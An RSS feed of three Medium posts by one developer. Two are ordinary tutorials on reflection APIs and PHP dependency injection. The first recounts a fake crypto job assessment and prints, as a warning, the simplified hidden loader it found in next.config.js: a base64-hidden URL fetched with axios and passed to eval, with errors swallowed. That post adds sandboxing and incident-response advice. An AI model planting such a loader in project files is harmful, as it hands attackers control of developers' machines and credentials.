<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Sumit Kumar on Medium]]></title>
        <description><![CDATA[Stories by Sumit Kumar on Medium]]></description>
        <link>https://medium.com/@sumitkumar_71550?source=rss-5629939bf993------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*efqAG6QFkcvzM8Dn</url>
            <title>Stories by Sumit Kumar on Medium</title>
            <link>https://medium.com/@sumitkumar_71550?source=rss-5629939bf993------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 22:04:51 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sumitkumar_71550/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[The Take-Home Task That Wanted My Laptop]]></title>
            <link>https://medium.com/@sumitkumar_71550/the-take-home-task-that-wanted-my-laptop-dcd05d2e2382?source=rss-5629939bf993------2</link>
            <guid isPermaLink="false">https://medium.com/p/dcd05d2e2382</guid>
            <category><![CDATA[binance-attack]]></category>
            <category><![CDATA[nodejs]]></category>
            <category><![CDATA[interview-scam]]></category>
            <category><![CDATA[cryptocurrency]]></category>
            <category><![CDATA[crypto-heists]]></category>
            <dc:creator><![CDATA[Sumit Kumar]]></dc:creator>
            <pubDate>Sun, 25 Oct 2026 13:53:57 GMT</pubDate>
            <atom:updated>2026-10-25T13:53:57.084Z</atom:updated>
            <content:encoded><![CDATA[<h4>A job application, a zip file, and one line of code that was never meant to be seen.</h4><p>A few weeks into a job search, I applied for a senior engineering role at a crypto exchange. The process felt normal at first: a job description, an application form, a polite reply asking me to move to the next stage.</p><p>The next stage was a technical assessment. They wanted me to review part of their existing platform and write up my thoughts on architecture, security, scalability and how I would evolve it. No coding required, just analysis. It was a reasonable ask, and honestly the kind of task I enjoy.</p><p>The code came as a zip file in a Google Drive folder. That was the first thing that made me pause. Teams that are actually building something usually share a repository, not a zip. When I looked at who owned the folder, I could only see a username, with no visible email or company domain behind it.</p><p>None of that proves anything on its own. But it was enough for me to decide I would not open the project on my own machine. I am glad I made that call.</p><h3>One line you would never see</h3><p>The project looked completely ordinary: a Next.js front end, a small Node.js API, a Solidity contract, tests, a README and tidy docs. Nothing in the folder structure stood out.</p><p>The problem was in next.config.js, a file most developers glance at once and never think about again. The last line looked like this:</p><pre>module.exports = nextConfig;</pre><p>But it wasn’t really the last thing on that line. After the semicolon came a few hundred spaces, and then, far off the right edge of any editor window, this (simplified):</p><pre>try { (async () =&gt; {<br>  const res = await require(&#39;axios&#39;).get(atob(&#39;&lt;encoded URL&gt;&#39;));<br>  eval(res.data);<br>})(); } catch (e) {}</pre><p>In plain words: fetch some code from a server whose address is hidden in base64, run it with full access to your machine, and swallow any error so nothing looks wrong.</p><p>Next.js loads this config file every time you run npm run dev, npm run build or npm start. So the moment a candidate did the obvious thing, starting the app to see how it works, the attacker&#39;s code would run with your user&#39;s permissions. That means your SSH keys, browser sessions, saved passwords, crypto wallets, cloud credentials and anything else in your home folder. Because the payload is downloaded at run time, it can be swapped out at any moment, and the code you reviewed never contains the dangerous part.</p><p>There was one more small clue. axios was listed as a dependency, but nothing else in the project used it. It was only there to make that one hidden line work.</p><h3>Why job seekers make perfect targets</h3><p>This is not a new trick. Security researchers have been writing for a while about fake recruiters who send developers “assessment” projects that carry malware, often themed around crypto, trading or Web3. What makes it work is not technical brilliance. It is us.</p><p>When you are looking for work, especially after a long search, you want to say yes. You want to look keen, respond quickly and do a thorough job. Running the project feels like part of being thorough. Nobody wants to tell a potential employer <em>I didn’t run your code because I didn’t trust you.</em></p><p>The decoy projects are also getting better. The one I received was clean, well structured and documented, with tests and a sensible architecture. It read like the work of a small, competent team. These days a convincing decoy app is cheap to produce, so the attacker only needs to hand-write the single line that matters.</p><p>And the target is valuable. Developers’ machines hold SSH keys, access tokens for company systems and cloud accounts, and very often crypto wallets. One compromised laptop can open doors far beyond the person who owns it.</p><h3>A GitHub link would not have made it safer</h3><p>The zip made me suspicious, and I want to be honest about that. If the same project had arrived as a GitHub repository, I probably would have cloned it, run npm install and started the dev server without a second thought. A repo feels more legitimate, but the code inside it can be exactly the same.</p><p>How code is shared does not change what it can do once it is on your machine. Some of the places where code can run without you deliberately “running” anything:</p><ul><li><strong>Install scripts.</strong> npm install runs any preinstall, install or postinstall scripts defined in package.json, both in the project and in its dependencies. Python&#39;s setup.py, Composer scripts and Makefiles work the same way.</li><li><strong>Framework config files.</strong> next.config.js, vite.config.js, webpack.config.js, tailwind.config.js, hardhat.config.ts and similar files are plain code that runs every time the tool starts.</li><li><strong>Editor workspace settings.</strong> A .vscode/tasks.json can be set to run a command as soon as the folder is opened, if you mark the workspace as trusted.</li><li><strong>Test and lint setup.</strong> Test runners and linters load their config and plugin files, so “just run the tests” is still running their code.</li><li><strong>Git itself.</strong> A folder that ships its own .git directory can carry hooks and config settings that execute commands during normal git operations.</li></ul><p>A public repo with stars and a tidy commit history is not proof of safety either. Stars can be bought, accounts can be compromised, and history can be rewritten.</p><h3>How I reviewed it without running it</h3><p>I treated the archive on a zero-trust basis: assume it is hostile until proven otherwise, and never let it near anything I care about. You don’t need special tools for this. My setup was a throwaway Docker container, and a cloud VM, a GitHub Codespace or a spare machine would work just as well.</p><p>The container was set up so that even a mistake on my part couldn’t do much damage:</p><ul><li>No folders shared with my real machine, and no credentials inside it.</li><li>Running as a non-root user, with Linux capabilities dropped.</li><li>The working folder mounted so nothing in it could be executed.</li><li>Deleted completely when I was done.</li></ul><p>I downloaded the zip straight into that container and unpacked it with a small script that refused anything suspicious, such as paths that try to escape the folder, symlinks, or a bundled .git directory. Then I only <strong>read</strong> the code. No npm install, no build, no dev server.</p><p>I started with the files that run automatically: every config file, the scripts section of package.json, and any editor or git settings. Then I searched for the usual warning signs: eval, new Function, child_process, base64 decoding, very long lines, and long runs of whitespace in the middle of a line. That search found the hidden line within minutes.</p><p>I wrote my assessment from that reading alone, and said clearly in it that the code had been reviewed in an isolated environment and never executed. A legitimate employer should be glad to hear that.</p><h3>A checklist before you run anyone’s take-home code</h3><h4>Red flags worth pausing on</h4><p>Any one of these alone can be innocent, but together they should slow you down:</p><ul><li>The code arrives as a zip or file-share link rather than a repository on a company organisation.</li><li>You can’t see a real company email or domain behind the sender, only a username or a personal account.</li><li>The project is crypto, trading or wallet themed, and you are asked to “run it locally” or “fix a bug” in it.</li><li>There is pressure to move fast, or the process skips steps a real company would normally have, such as a call with an engineer.</li><li>Dependencies that nothing in the code actually uses.</li></ul><h4>Safe steps, in order</h4><ol><li>Open it somewhere disposable first: a container, a cloud VM or a codespace with no access to your real accounts.</li><li>Read before you run. Start with package.json scripts and every config file at the project root.</li><li>Turn on word wrap or show whitespace in your editor, and search for very long lines.</li><li>Search for eval, Function(, child_process, exec, atob and Buffer.from(..., &#39;base64&#39;), plus any raw IP addresses or URLs that don&#39;t belong.</li><li>If you must install dependencies, use npm install --ignore-scripts, and still only inside the sandbox.</li><li>Never open an untrusted folder in your main editor in trusted mode.</li><li>If something looks wrong, stop. You don’t owe anyone an explanation for not running their code.</li></ol><h3>If you already ran something like this</h3><blockquote><em>Don’t panic, but act quickly. Assume anything the machine could reach has been copied.</em></blockquote><ol><li>Disconnect the machine from the network.</li><li>From a different, clean device, move any crypto out of wallets that were on that machine (browser extensions included), into new wallets with fresh seed phrases.</li><li>Change passwords for email, GitHub, cloud providers and password managers, and sign out of all sessions. Turn on two-factor authentication where it isn’t already.</li><li>Revoke and recreate SSH keys, GitHub and npm tokens, and any cloud or API keys stored on the machine.</li><li>If you have access to an employer’s or client’s systems, tell their security team straight away. It is not a confession; it is how damage gets contained.</li><li>Back up only your documents (not programs or scripts) and reinstall the operating system. Cleaning by hand is rarely enough.</li><li>Report the recruiter’s profile to the platform where you found the job, and report the shared file to the file host.</li></ol><h3>To anyone in the middle of a job search</h3><p>Job hunting is hard enough without having to wonder whether the take-home task is a trap. Most of them aren’t. But the ones that are rely on the same thing: a capable, eager person who wants to do a good job and doesn’t want to seem difficult.</p><blockquote>Being careful is not being difficult.</blockquote><p>Reading code before running it is what good engineers do anyway, and saying “I reviewed this in an isolated environment” is a perfectly professional thing to write. A real employer will respect it. One that pushes back is telling you something too.</p><p>If this post saves even one person from running npm run dev on the wrong project, it was worth writing. Share it with someone who is job hunting right now.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dcd05d2e2382" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding Reflection API in Different Programming Languages: A Deep Dive]]></title>
            <link>https://medium.com/@sumitkumar_71550/understanding-reflection-api-in-different-programming-languages-a-deep-dive-234d3cb3472f?source=rss-5629939bf993------2</link>
            <guid isPermaLink="false">https://medium.com/p/234d3cb3472f</guid>
            <dc:creator><![CDATA[Sumit Kumar]]></dc:creator>
            <pubDate>Sun, 09 Mar 2025 20:43:04 GMT</pubDate>
            <atom:updated>2025-03-09T20:46:24.545Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Introduction</strong></p><p>Reflection is a powerful feature in many programming languages that allows a program to inspect and manipulate its own structure at runtime. It enables developers to interact with classes, methods, and properties dynamically, making it essential for various use cases such as <strong>dependency injection</strong>, <strong>mocking in unit testing</strong>, and <strong>dynamic object creation</strong>.</p><p>In this blog, we’ll explore <strong>Reflection APIs</strong> in multiple languages (Java, PHP, Python, and C#) and how they are used in real-world programming scenarios like <strong>dependency injection containers</strong> and <strong>mocking frameworks</strong>.</p><h3>🚀 What is Reflection API?</h3><p>Reflection provides <strong>metadata inspection</strong> and <strong>runtime modification capabilities</strong> of classes, methods, properties, and annotations. This capability is useful for:</p><ul><li><strong>Dependency Injection Containers</strong>: Dynamically instantiating and injecting dependencies in frameworks like Spring (Java), Symfony (PHP), and ASP.NET Core (C#).</li><li><strong>Mocking Frameworks</strong>: Creating mock objects dynamically in testing frameworks like PHPUnit (PHP), Mockito (Java), and Moq (C#).</li><li><strong>Dynamic Class Loading</strong>: Loading and manipulating classes dynamically without hardcoding them.</li><li><strong>Code Analysis and Debugging</strong>: Tools and IDEs use reflection for real-time introspection.</li></ul><h3>🏗 Reflection API in Different Languages</h3><h3>📌 1. Reflection in Java</h3><p>Java’s <strong>java.lang.reflect</strong> package allows accessing class metadata at runtime.</p><h3>Example 1: Accessing Class Information</h3><pre>import java.lang.reflect.Method;<br>import java.lang.reflect.Field;<br><br>class Sample {<br>    private String name = &quot;Reflection in Java&quot;;<br>    public void display() {<br>        System.out.println(&quot;Hello from Java Reflection!&quot;);<br>    }<br>}<br>public class ReflectionExample {<br>    public static void main(String[] args) throws Exception {<br>        Class&lt;?&gt; clazz = Sample.class;<br>        // Access Methods<br>        for (Method method : clazz.getDeclaredMethods()) {<br>            System.out.println(&quot;Method: &quot; + method.getName());<br>        }<br>        // Access Private Field<br>        Field field = clazz.getDeclaredField(&quot;name&quot;);<br>        field.setAccessible(true);<br>        Sample obj = new Sample();<br>        System.out.println(&quot;Field Value: &quot; + field.get(obj));<br>    }<br>}</pre><p>👉 <strong>Use Case:</strong> Used in Java frameworks like Spring for <strong>Dependency Injection</strong> and ORM tools like Hibernate.</p><h3>📌 2. Reflection in PHP</h3><p>PHP has a built-in <strong>Reflection API</strong> that enables <strong>dynamic class analysis, dependency injection, and unit testing with PHPUnit</strong>.</p><h3>Example 2: Using Reflection for Dependency Injection</h3><pre>class Dependency {<br>    public function sayHello() {<br>        return &quot;Hello from Dependency!&quot;;<br>    }<br>}<br><br>class Container {<br>    public function resolve($class) {<br>        $reflector = new ReflectionClass($class);<br>        return $reflector-&gt;newInstance();<br>    }<br>}<br>// Usage<br>$container = new Container();<br>$instance = $container-&gt;resolve(Dependency::class);<br>echo $instance-&gt;sayHello();</pre><p>👉 <strong>Use Case:</strong> Symfony and Laravel use Reflection for <strong>automatic dependency injection</strong>.</p><h3>Example 3: Using Reflection for Unit Testing (PHPUnit Mocking)</h3><pre>use PHPUnit\Framework\TestCase;<br><br>class Sample {<br>    private $message = &quot;Original&quot;;<br>    public function getMessage() {<br>        return $this-&gt;message;<br>    }<br>}<br>class ReflectionTest extends TestCase {<br>    public function testPrivatePropertyModification() {<br>        $obj = new Sample();<br>        $reflection = new ReflectionClass(Sample::class);<br>        // Access private property<br>        $property = $reflection-&gt;getProperty(&quot;message&quot;);<br>        $property-&gt;setAccessible(true);<br>        $property-&gt;setValue($obj, &quot;Modified via Reflection&quot;);<br>        $this-&gt;assertEquals(&quot;Modified via Reflection&quot;, $obj-&gt;getMessage());<br>    }<br>}</pre><p>👉 <strong>Use Case:</strong> PHPUnit uses Reflection for <strong>mocking private properties</strong>.</p><h3>📌 3. Reflection in Python</h3><p>Python provides built-in <strong>getattr()</strong>, <strong>setattr()</strong>, and the inspect module for reflection.</p><h3>Example 4: Dynamic Method Invocation</h3><pre>class Sample:<br>    def say_hello(self):<br>        return &quot;Hello from Python Reflection!&quot;<br><br># Access method dynamically<br>obj = Sample()<br>method_name = &quot;say_hello&quot;<br>method = getattr(obj, method_name)<br>print(method())  # Output: Hello from Python Reflection!</pre><p>👉 <strong>Use Case:</strong> Python frameworks like Django use reflection to <strong>inspect and modify class properties dynamically</strong>.</p><h3>Example 5: Dependency Injection in Python</h3><pre>class Dependency:<br>    def say_hello(self):<br>        return &quot;Hello from Dependency!&quot;<br><br>class Container:<br>    def resolve(self, cls):<br>        return cls()<br># Usage<br>container = Container()<br>instance = container.resolve(Dependency)<br>print(instance.say_hello())</pre><p>👉 <strong>Use Case:</strong> Used in <strong>Django’s ORM and Flask extensions</strong> for <strong>dependency resolution</strong>.</p><h3>📌 4. Reflection in C#</h3><p>C# provides <strong>System.Reflection</strong> for <strong>accessing and modifying classes dynamically</strong>.</p><h3>Example 6: Accessing Private Fields</h3><pre>using System;<br>using System.Reflection;<br><br>class Sample {<br>    private string message = &quot;Hello from C# Reflection!&quot;;<br>}<br>class Program {<br>    static void Main() {<br>        Sample obj = new Sample();<br>        Type type = typeof(Sample);<br>        <br>        // Access private field<br>        FieldInfo field = type.GetField(&quot;message&quot;, BindingFlags.NonPublic | BindingFlags.Instance);<br>        Console.WriteLine(&quot;Field Value: &quot; + field.GetValue(obj));<br>    }<br>}</pre><p>👉 <strong>Use Case:</strong> Used in <strong>ASP.NET Core for Dependency Injection</strong> and <strong>Entity Framework for ORM introspection</strong>.</p><h3>Example 7: Using Reflection for Dependency Injection in C#</h3><pre>using System;<br>using System.Reflection;<br><br>class Dependency {<br>    public void SayHello() {<br>        Console.WriteLine(&quot;Hello from Dependency!&quot;);<br>    }<br>}<br>class Container {<br>    public object Resolve(Type type) {<br>        return Activator.CreateInstance(type);<br>    }<br>}<br>class Program {<br>    static void Main() {<br>        Container container = new Container();<br>        var instance = (Dependency) container.Resolve(typeof(Dependency));<br>        instance.SayHello();<br>    }<br>}</pre><p>👉 <strong>Use Case:</strong> ASP.NET Core <strong>built-in DI container</strong> leverages Reflection.</p><h3>Real-World Use Cases of Reflection API</h3><pre>+------------------------------+-------------------------------------------------------+<br>| Use Case                     | Languages/Frameworks                                 |<br>+------------------------------+-------------------------------------------------------+<br>| Dependency Injection         | Spring (Java), Symfony (PHP), ASP.NET Core (C#)     |<br>| Mocking in Unit Testing      | PHPUnit (PHP), Mockito (Java), Moq (C#)             |<br>| ORM (Object-Relational Mapping) | Hibernate (Java), Django ORM (Python), Entity Framework (C#) |<br>| Dynamic Code Execution       | eval() in Python, Reflection.Emit in C#             |<br>| Framework Development        | Laravel (PHP), Flask (Python), .NET Core            |<br>+------------------------------+-------------------------------------------------------+</pre><h3>💡 Final Thoughts</h3><p>Reflection is a powerful tool that enables <strong>dynamic introspection, dependency injection, testing, and framework development</strong>. However, it should be used with caution as excessive reflection <strong>can impact performance and security</strong>.</p><p>Whether you’re using <strong>Java, PHP, Python, or C#</strong>, mastering Reflection will open doors to advanced programming techniques.</p><p>🚀 <strong>Did you find this useful?</strong> Share this with your fellow developers and follow for more deep dives into programming concepts! 🚀</p><p>💡 <strong>What’s your experience with Reflection APIs?</strong> Let’s discuss in the comments below!</p><p>🔥 <em>Stay tuned for more insights on modern software development!</em> 🔥</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=234d3cb3472f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding Dependency Injection in PHP: Building SOLID Applications with Containers]]></title>
            <link>https://medium.com/@sumitkumar_71550/understanding-dependency-injection-in-php-building-solid-applications-with-containers-eb0cf54d61a0?source=rss-5629939bf993------2</link>
            <guid isPermaLink="false">https://medium.com/p/eb0cf54d61a0</guid>
            <category><![CDATA[solid]]></category>
            <category><![CDATA[php]]></category>
            <category><![CDATA[psr-11]]></category>
            <category><![CDATA[dependency-injection]]></category>
            <category><![CDATA[inversion-of-control]]></category>
            <dc:creator><![CDATA[Sumit Kumar]]></dc:creator>
            <pubDate>Sun, 09 Mar 2025 20:21:19 GMT</pubDate>
            <atom:updated>2025-03-09T20:21:19.683Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lWOBpLR2mBgzKECLnVihmg.png" /></figure><p>Have you ever worked on a PHP project where <em>everything</em> was tightly coupled, making it difficult to update components or introduce new features without risking breakages? This is a sign you may benefit from <strong>Dependency Injection</strong> (DI). In this post, we’ll explore what DI is, why it’s crucial for building maintainable software (especially under the <strong>SOLID</strong> principles), and how <strong>containers</strong> in PHP provide an elegant solution for managing dependencies.</p><h3>What Is Dependency Injection?</h3><p><strong>Dependency Injection</strong> is a design pattern where objects do not create their own dependencies but instead receive them (injected) from an external source. In other words, when a class relies on other classes or services, those required dependencies are provided — typically through the constructor or through setter methods — rather than being instantiated internally.</p><h3>A Simplified Example</h3><pre>// Without Dependency Injection<br>class UserController<br>{<br>    private $userService;<br><br>    public function __construct()<br>    {<br>        // The controller itself decides which UserService to create<br>        // This is an example of tight coupling.<br>        $this-&gt;userService = new UserService();<br>    }<br><br>    public function createUser($data)<br>    {<br>        return $this-&gt;userService-&gt;create($data);<br>    }<br>}</pre><p>Here, UserController is <strong>tightly coupled</strong> to UserService. If you ever want to use a different service (e.g., a mock for testing or a specialized service), you need to <strong>modify the controller’s code</strong>.</p><p>Using <strong>Dependency Injection</strong>:</p><pre>// With Dependency Injection<br>class UserController<br>{<br>    private $userService;<br><br>    // The dependency (UserService) is injected from outside<br>    public function __construct(UserServiceInterface $userService)<br>    {<br>        $this-&gt;userService = $userService;<br>    }<br><br>    public function createUser($data)<br>    {<br>        return $this-&gt;userService-&gt;create($data);<br>    }<br>}</pre><p>Now, UserController doesn’t care <strong>how</strong> or <strong>where</strong> UserService is instantiated. It just needs an object that fulfills the UserServiceInterface. This decouples the controller from the concrete implementation and makes it easier to swap out different services, especially in <strong>testing</strong> or <strong>future enhancements</strong>.</p><h3>Why Is Dependency Injection Important?</h3><h3>1. Aligns with the SOLID Principles</h3><ul><li><strong>S (Single Responsibility Principle)</strong>: Each class focuses on its own responsibility and doesn’t need to worry about how its dependencies are created.</li><li><strong>O (Open-Closed Principle)</strong>: You can introduce new services or modify existing ones <strong>without</strong> changing the classes that depend on them, as long as the interface remains consistent.</li><li><strong>L (Liskov Substitution Principle)</strong>: Swapping out dependencies that share the same interface won’t break the application.</li><li><strong>I (Interface Segregation Principle)</strong>: Classes depend on the smallest interface they need; you can inject more granular interfaces rather than large, monolithic classes.</li><li><strong>D (Dependency Inversion Principle)</strong>: High-level modules (like controllers) should depend on abstractions (interfaces), not concretions (specific classes).</li></ul><h3>2. Easier Testing</h3><p>Because dependencies are injected, it’s straightforward to <strong>mock or stub</strong> them in unit tests. This improves test coverage and reliability, as each component can be isolated and tested independently.</p><h3>3. Maintainability and Extensibility</h3><p>The ability to <strong>swap implementations</strong> at runtime means your application can grow or change requirements without requiring a major refactor. Want to switch from one database driver to another? As long as they share the same interface, it’s just a matter of configuring the container differently.</p><h3>Enter the Container: Automating Dependency Injection</h3><p>Manually injecting dependencies can get tedious. This is where <strong>Containers</strong> (also known as <strong>Inversion of Control (IoC) containers</strong> or <strong>Service Containers</strong>) come in. A container is a tool (often a class or library) responsible for:</p><ol><li><strong>Knowing how to instantiate various classes</strong> (and their dependencies).</li><li><strong>Managing the lifecycle of those objects</strong> (e.g., creating them once per request, or only when needed).</li><li><strong>Resolving dependencies automatically</strong> via reflection or configuration so you don’t have to manually wire everything up.</li></ol><h3>A Quick Example with a PHP Container</h3><p>Many modern PHP frameworks have built-in containers. For instance, <strong>Laravel</strong> provides an IoC container that resolves dependencies automatically when you instantiate controllers or other services. In a smaller, framework-agnostic scenario, you might do something like:</p><pre>$container = new Container();<br><br>// Register how to build a service<br>$container-&gt;set(UserServiceInterface::class, function ($c) {<br>    return new UserService($c-&gt;get(UserRepositoryInterface::class));<br>});<br><br>$container-&gt;set(UserRepositoryInterface::class, function ($c) {<br>    // e.g., returning a repository using PDO or an ORM<br>    return new MySqlUserRepository($c-&gt;get(PDO::class));<br>});<br><br>// Now retrieve a fully instantiated UserService (with all dependencies resolved)<br>$userService = $container-&gt;get(UserServiceInterface::class);</pre><p>In this illustration:</p><ul><li>The container <strong>knows</strong> how to create a UserService by also creating or retrieving a UserRepositoryInterface.</li><li>The UserRepositoryInterface depends on a PDO object, which can also be configured in the container.</li><li>This means your code simply calls $container-&gt;get(UserServiceInterface::class), and the container handles the rest.</li></ul><h3>PSR-11: The PHP Standard Recommendation for Containers</h3><p>In the PHP ecosystem, we have <strong>PSR-11</strong>, which defines a <strong>common interface for containers</strong>. This makes it easier to swap containers if needed or integrate third-party libraries that rely on the same standard.</p><p>PSR-11 specifies two methods in the ContainerInterface:</p><pre>namespace Psr\Container;<br><br>interface ContainerInterface<br>{<br>    /**<br>     * Finds an entry of the container by its identifier and returns it.<br>     *<br>     * @throws NotFoundExceptionInterface<br>     * @throws ContainerExceptionInterface<br>     *<br>     * @return mixed<br>     */<br>    public function get($id);<br><br>    /**<br>     * Returns true if the container can return an entry for the given identifier.<br>     * Returns false otherwise.<br>     *<br>     * @param string $id<br>     * @return bool<br>     */<br>    public function has($id);<br>}</pre><p>Many containers in the PHP ecosystem (e.g., <strong>PHP-DI</strong>, <strong>Symfony’s DependencyInjection Component</strong>, <strong>Laravel’s container</strong>, etc.) either implement or are compatible with PSR-11. The standard ensures that you, as a developer, can rely on a consistent interface for managing and retrieving dependencies, even if the underlying container differs from one project to another.</p><h3>Putting It All Together</h3><ol><li><strong>Identify Dependencies</strong></li></ol><ul><li>Break down each class’s responsibilities and identify the external services or resources it needs (e.g., a logger, repository, API client).</li></ul><p><strong>2. Use Interfaces</strong></p><ul><li>Represent these dependencies by interfaces so the classes depend on <strong>abstractions</strong> rather than <strong>concrete implementations</strong>.</li></ul><p><strong>3. Configure Your Container</strong></p><ul><li>Register each interface and map it to a concrete class using the container.</li><li>If you’re using a framework, you’ll typically do this in a service provider or bootstrap file.</li></ul><p><strong>4. Inject Instead of Instantiate</strong></p><ul><li>In your classes, accept dependencies via <strong>constructor injection</strong> (preferred) or method injection.</li><li>Avoid new SomeDependency() calls inside class methods.</li></ul><p><strong>5. Leverage PSR-11</strong></p><ul><li>If you need a generic approach or plan to write a library that needs a container, consider adopting the PSR-11 interface.</li><li>This ensures your library can integrate with any container implementing the standard.</li></ul><h3>Conclusion</h3><p><strong>Dependency Injection</strong> is a cornerstone of modern PHP application development. By decoupling your classes from the specifics of how their dependencies are instantiated, you create a more <strong>flexible, testable, and maintainable</strong> codebase.</p><p>Leveraging a <strong>container</strong> to handle the complexity of object creation and dependency resolution lets you focus on <strong>business logic</strong> rather than wiring. Combine that with the guidelines of <strong>PSR-11</strong> and <strong>SOLID</strong> principles, and you have a robust, future-proof architecture capable of handling change gracefully.</p><p><strong>Ready to dive deeper?</strong> Explore one of the many PHP containers available, look for “getting started” guides in frameworks like Laravel or Symfony, or even build your own minimal container for a small project. The benefits of properly managing dependencies will quickly become evident in both your code’s clarity and your development velocity. Happy coding!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eb0cf54d61a0" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>